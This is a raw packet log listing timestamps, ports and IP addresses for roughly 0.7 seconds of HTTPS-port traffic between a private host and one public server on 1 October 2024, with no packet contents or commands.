Oct 1, 2024 07:31:27.352881908 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.352905989 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.352982998 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353029013 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353094101 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353252888 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353322983 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353446007 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353486061 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353502989 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353507042 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353554010 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353554010 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353835106 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353872061 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.353992939 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.353998899 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.354245901 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.372616053 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.372656107 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.372852087 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.372859955 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.372951984 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.440820932 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.440953970 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.440995932 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.440999031 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441010952 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441039085 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441060066 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441133976 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441200972 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441278934 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441355944 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441441059 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441500902 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441667080 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441756010 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441776037 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441807985 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.441890955 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441890955 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.441899061 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442080021 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442167997 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.442173004 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442230940 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442291975 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.442296982 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442308903 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442375898 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.442636967 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442692995 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.442717075 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.442882061 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.461276054 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.461390972 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.461492062 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.461568117 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.529454947 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.529526949 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.529576063 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.529586077 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.529630899 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.529630899 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.529705048 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.529782057 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.529814005 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.529886961 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530019045 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530112028 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530168056 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530296087 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530364037 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530406952 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530427933 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530431986 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530462980 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530498028 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530586958 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530653954 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530857086 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530893087 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530951023 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530951977 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.530956030 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.530993938 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.531167030 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.531223059 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.531230927 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.531239986 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.531287909 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.531303883 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.531308889 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.531337976 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.531387091 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.531570911 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.531645060 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.550282001 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.550331116 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.550407887 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.550414085 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.550422907 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.550473928 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.618323088 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.618447065 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.618518114 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.618552923 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.618587017 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.618592024 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.618608952 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.618685007 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.618938923 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.618998051 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619024992 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619029999 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619045019 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619052887 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619060040 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619062901 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619116068 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619185925 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619262934 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619307041 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619374037 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619932890 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619977951 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.619990110 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.619993925 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620022058 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620043039 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620043039 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620049000 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620073080 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620110035 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620146990 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620179892 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620269060 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620269060 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620273113 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620282888 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620353937 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620353937 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.620359898 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.620404959 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.638830900 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.638886929 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.638963938 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.638963938 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.638969898 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.639020920 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.707246065 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.707462072 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.707473993 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.707484961 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.707576990 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.707612991 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.707684994 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.707895041 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708019018 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.708023071 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708030939 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708106995 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.708204985 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708288908 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.708414078 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708614111 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708637953 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.708647013 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708681107 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.708703995 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.708832979 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.708971024 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.709116936 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.709183931 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.709238052 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.709245920 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.709279060 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.709294081 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.709589005 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.709676027 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.709918022 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.709959984 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.710006952 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.710012913 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.710024118 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.710128069 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.727794886 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.727849007 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.728146076 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.728146076 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.728171110 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.728277922 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796046019 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796094894 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796233892 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796266079 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796266079 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796279907 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796308994 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796324968 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796428919 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796433926 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796607971 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796650887 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796699047 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796704054 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796739101 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796739101 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796838045 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.796927929 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.796999931 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.797081947 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.797121048 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.797188044 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.797271967 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.797358990 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.797472000 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.797534943 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.797597885 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.797689915 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.797713041 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.797789097 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.798043966 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.798088074 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.798121929 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.798125982 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.798136950 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.798188925 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.816447020 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.816490889 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.816586971 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.816586971 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.816598892 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.816646099 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.884874105 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.884931087 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885024071 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885030985 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885040998 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885057926 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885087013 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885091066 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885181904 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885222912 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885284901 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885391951 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885473967 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885485888 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885544062 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885662079 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885720968 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.885812044 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.885946989 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886019945 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886126041 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886249065 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886302948 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886368036 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886368036 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886373997 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886451006 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886560917 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886606932 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886646986 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886651039 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886683941 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886683941 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.886775017 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.886878014 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.905168056 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.905216932 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.905339956 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.905353069 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.905375957 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.905461073 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.973639011 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.973691940 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.973746061 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.973814964 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.973823071 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.973956108 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.973961115 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.973973036 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974039078 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974091053 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974157095 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974217892 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974308014 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974442005 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974478006 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974515915 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974520922 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974561930 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974764109 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974826097 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974828005 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974834919 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.974908113 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.974908113 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.975145102 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.975183964 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.975230932 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.975230932 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.975235939 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.975286961 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.975373983 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.975447893 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.975471973 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.975547075 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.993804932 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.993941069 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.993956089 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.993962049 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:27.994024038 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:27.994024038 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.062450886 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062506914 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062544107 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062577963 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.062588930 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062705994 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062731981 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.062771082 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.062777042 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062823057 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062889099 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.062895060 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.062948942 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063015938 CEST	49705	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:28.063023090 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063081026 CEST	443	49705	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:28.063129902 CEST	49705	443	192.168.2.8	67.212.175.162
